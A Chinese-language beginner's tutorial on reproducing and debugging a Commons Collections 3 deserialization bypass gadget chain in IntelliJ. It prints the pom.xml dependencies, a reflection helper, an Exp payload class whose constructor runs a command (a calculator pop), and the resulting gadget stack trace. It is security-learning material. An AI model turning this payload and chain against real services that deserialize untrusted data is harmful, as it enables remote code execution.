看到过有师傅说渗透技巧学的差不多,想入手代审又觉得基础不够,那么如果让我给建议的话肯定是先去补基础了,毕竟我也经常被JAVA大佬杨专家批评基础太差,其次的话,JAVA代审和反序列化可以说是两个维度了,这里打算就之前小乌师傅发的CC3绕过链,做一个动态调试的教程,从0到0.5,具体分析放到后面,这里只针对基础相对不好的师傅,内容过于简单望谅解。
链子在这里哈https://articles.zsxq.com/id_t1iuv0j9fopp.html
就以第一个为例
![](https://img-blog.csdnimg.cn/img_convert/40493de2330352ab549e3ba018b012e0.png)
1、首先,电脑安装个IntelliJ Idea,安装和点击试用啥的这里就不说了
![](https://img-blog.csdnimg.cn/img_convert/9bb513cf1a681c318132fa5675933515.png)
2、打开之后会出现一个创建项目的页面
![](https://img-blog.csdnimg.cn/img_convert/2e1ed21cd6e834d17a658be673847685.png)
选这样就差不多了,java环境应该都安装了吧,没有的需要提前装好
![](https://img-blog.csdnimg.cn/img_convert/449df211069148c152cd7e8ae952d458.png)
3、创建好之后,默认会有一个Main类,里面放了一个函数,输出Hello World!
点击绿色小三角,运行代码
![](https://img-blog.csdnimg.cn/img_convert/7d6e92240b2dd23bd09a39b89c86aaee.png)
点击Run , 成功输出了你好,世界。祝贺你,这意味着环境已经搭好了。
![](https://img-blog.csdnimg.cn/img_convert/aa45883374c2ddee9e32ce6e54a91515.png)
4、环境没问题之后,创建一个新的类,用来运行CC3_bypass
![](https://img-blog.csdnimg.cn/img_convert/dbc9d1315cb0201379d223a54d068b19.png)
5、创建一个Main函数,输入psvm自动生成
![](https://img-blog.csdnimg.cn/img_convert/71bfb8df00047fec124573da882a0d01.png)
![](https://img-blog.csdnimg.cn/img_convert/c20eb78e96172239cccb7328dea83c6b.png)
6、将小乌师傅提供的代码贴入其中
复制代码
![](https://img-blog.csdnimg.cn/img_convert/5a984ffb6219360cecc9ba36692b7762.png)
贴入Main函数中
![](https://img-blog.csdnimg.cn/img_convert/97bcd5af742a9b0e8621e9e58a74bdc7.png)
7、可以看到其中有很多红色,这意味着存在错误。因为这里我们知道是CC3反序列化利用链,所以需要引入CommonsCollections3包,原理就是恶意代码在该包里面,只有引入了CC3包才能触发其恶意代码。
在pom.xml中加入如下代码引入数据包,然后点击刷新即可导入
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
![](https://img-blog.csdnimg.cn/img_convert/a3851e66e3072aebbdb3774af2cf80c9.png)
8、回到代码,开始解决报错问题,将鼠标移动到红色代码处,点击import class。这里报错主要是因为所需要的对象的包没有导入,所以全部进行import操作即可。
![](https://img-blog.csdnimg.cn/img_convert/bae709e7dca4dfc8be02e1da49cd15ed.png)
把能点的点了,导入了如下包
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
![](https://img-blog.csdnimg.cn/img_convert/38160ce84d2c14ce4ff75a61805533f1.png)
![](https://img-blog.csdnimg.cn/img_convert/6bd418825d811c68b933005374a970cd.png)
9、现在主要剩下
setFieldValue
ClassPool
Exp
其他一些红色波浪线
这里主要是一些经验了,红色波浪线是因为代码可能存在异常,需要做try/catch处理,也有一种简单的方法,在当前函数名称后加如下代码,抛出异常
throws Exception
![](https://img-blog.csdnimg.cn/img_convert/09e71292c3c37b61c6a1e2699b36a20c.png)
10、处理setFieldValue方法,这个方法在ysoserial反序列化工具中是集成在util.Reflections方法中,主要作用是反射赋予指定值,这里先简单了解,学会用即可。
在CC3_bypass类中新建一个方法,内容如下
public static void setFieldValue(Object obj, String fieldName, Object
value) {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} catch (Exception e) {
}
}
贴完这个方法之后,只剩2个报错了,一个是ClassPool,还有一个是Exp
![](https://img-blog.csdnimg.cn/img_convert/5bcd1931d2ced637b2643e2c5b74771d.png)
11、ClassPool,具体介绍可以看这里https://www.saoniuhuo.com/article/detail-106692.html
是Javassist包中的一个对象,常用来获取某个类的字节码
不讲那么多,当需要获取字节码时,往往就会用到它,所以也要在pom.xml中先导入
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
![](https://img-blog.csdnimg.cn/img_convert/b70c27ca4181ceb09234f5e717ee41a7.png)
再回来import即可
![](https://img-blog.csdnimg.cn/img_convert/67916d4bef1bd835d010d96cd8526f3b.png)
12、终于,到最后一个了,Exp,将鼠标放上去可以看到,推荐的解决方法时创建这个类。
![](https://img-blog.csdnimg.cn/img_convert/ee06496101a5c626cb0d51299813594e.png)
前面了解了ClassPool对象主要作用是获取某个类的字节码,那么这里的字节码即是Exp类的字节码,默认没有的,所以需要创建。
当然这个类有一定要求,这里也先不说,直接使用。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exp extends AbstractTranslet {
public Exp() throws Exception{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
给出最终代码了,执行的命令是
open /System/Applications/Calculator.app
打开计算器
![](https://img-blog.csdnimg.cn/img_convert/d2eeb8a2e64e0f77c9264a9ac39ff9da.png)
13,创建完Exp类之后,回到CC3_bypass,已经处理完所有报错了,执行一下
![](https://img-blog.csdnimg.cn/img_convert/e041d72e36ab398193cb66a14fbb415d.png)
成功执行命令,弹出计算器
![](https://img-blog.csdnimg.cn/img_convert/e3050d2de220d308a4e847bbf494e240.png)
14、到这里,可以适当兴奋一下了,因为已经完成了30%了,证明了这个反序列化利用链的可行性,然后如果需要理解这条利用链的具体逻辑,可以放到后面,先大概debug一下代码,看看是怎么运行的。
因为知道最后是执行了Exp类中的Exp方法,直接在此处下断点
![](https://img-blog.csdnimg.cn/img_convert/fc1706c8ea3b68240f572edf25a49aab.png)
15、点击debug运行CC3_bypass
![](https://img-blog.csdnimg.cn/img_convert/b220129c3f347078d8fa2f6cf982bc80.png)
16、当代码处的红点打了个勾,并且左下角的debugger中可以看到类与方法,便是成功将代码debug到断点处了
![](https://img-blog.csdnimg.cn/img_convert/457684486c383f6412e5496e7fda3922.png)
17、右键选copy stack,即可获取比较粗糙的反序列化利用链gadget chain
![](https://img-blog.csdnimg.cn/img_convert/2ee8d03d972941b908ef4d430917246c.png)
如下:
<init>:11, Exp (org.example)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
create:129, InstantiateFactory (org.apache.commons.collections.functors)
transform:73, FactoryTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1405, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
main:72, CC3_bypass (org.example)
18、点击某一行即可跳转到该行的类位置以及到下一个方法的位置
例如选择HashMap.readObject。代码跳转到HashMap.java的1405行,这里有个hash方法,对应流程下一步到的HashMap.hash
![](https://img-blog.csdnimg.cn/img_convert/67c9dae9555137b19f443cc4bc5b9fd9.png)
然后,可以算是完成了0.5了,很多原理没有讲,CC链也没有分析,留到另外0.5吧。
看完这个如果比较好奇原理方面的东西,可以看看下面两篇文章
如果想试试其他的利用链,也可以试试之前的URLDNS分析中的代码